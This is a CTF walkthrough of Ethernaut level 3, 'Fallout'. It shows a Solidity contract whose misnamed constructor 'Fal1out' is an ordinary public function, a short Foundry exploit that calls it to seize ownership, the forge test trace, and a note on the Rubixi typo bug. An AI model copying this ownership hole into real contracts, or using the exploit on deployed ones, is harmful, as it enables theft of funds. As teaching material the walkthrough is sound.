CTF walkthrough, Ethernaut, #3 Fallout

To complete this level we need to become owner of the contract below (slightly modified to be compatible with Solidity ^0.8.2):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

import "openzeppelin/utils/math/SafeMath.sol";

contract Fallout {
    using SafeMath for uint256;
    mapping(address => uint256) allocations;
    address payable public owner;

    /* constructor */
    function Fal1out() public payable {
        owner = payable(msg.sender);
        allocations[owner] = msg.value;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
    }

    function collectAllocations() public onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }
}

I’ll skip the FalloutFactory contract because it is almost identical to the FallbackFactory from the previous challenge, except that in its validateInstance function it only checks that owner() == player.

Analysis & Exploit

Let’s start with the constructor… that doesn’t look like a constructor:

/* constructor */
function Fal1out() public payable {
    owner = payable(msg.sender);
    allocations[owner] = msg.value;
}

This is a regular public function that anyone can call:

function exploit() internal override {
    vm.startPrank(player);
    level.Fal1out();
    vm.stopPrank();
}

The rest of the contract is not interesting to us.

$ forge test --match-contract FalloutTest -vvvv

Running 1 test for src/test/Fallout.t.sol:FalloutTest
[PASS] testFallout() (gas: 328094)
Traces:
  [328094] FalloutTest::testFallout()
    ├─ [251327] FalloutTest::create()
    │   ├─ [0] VM::prank(player: [...])
    │   │   └─ ← ()
    │   ├─ [238979] Ethernaut::createLevelInstance(FalloutFactory: [...])
    │   │   ├─ [187416] FalloutFactory::createInstance(player: [...])
    │   │   │   ├─ [154802] → new Fallout@"0x037f…dd8f"
    │   │   │   │   └─ ← 773 bytes of code
    │   │   │   └─ ← Fallout: [...]
    │   │   ├─ emit LevelInstanceCreatedLog(player: player: [...], instance: Fallout: [...])
    │   │   └─ ← Fallout: [...]
    │   └─ ← Fallout: [...]
    ├─ [0] VM::startPrank(player: [...])
    │   └─ ← ()
    ├─ [24507] Fallout::Fal1out()
    │   └─ ← ()
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [0] VM::startPrank(player: [...])
    │   └─ ← ()
    ├─ [4391] Ethernaut::submitLevelInstance(Fallout: [...])
    │   ├─ [1344] FalloutFactory::validateInstance(Fallout: [...], player: [...])
    │   │   ├─ [348] Fallout::owner() [staticcall]
    │   │   │   └─ ← player: [...]
    │   │   └─ ← true
    │   ├─ emit LevelCompletedLog(player: player: [...], level: FalloutFactory: [...])
    │   └─ ← true
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    └─ ← ()

Summary

This pretty trivial challenge illustrates how a simple typo could result in serious security hole:

Up to Solidity 0.4.21, constructor can be defined by the same name of its contract name. Which can cause unintended bugs when you change the contract’s name but forget to rename its constructor (this happened with Rubixi). In Solidity 0.4.22 and above we use the constructor keyword.


Code for this step is in branch step-3.

Let’s continue to the next challenge: CTF walkthrough, Ethernaut, #4 Coin Flip!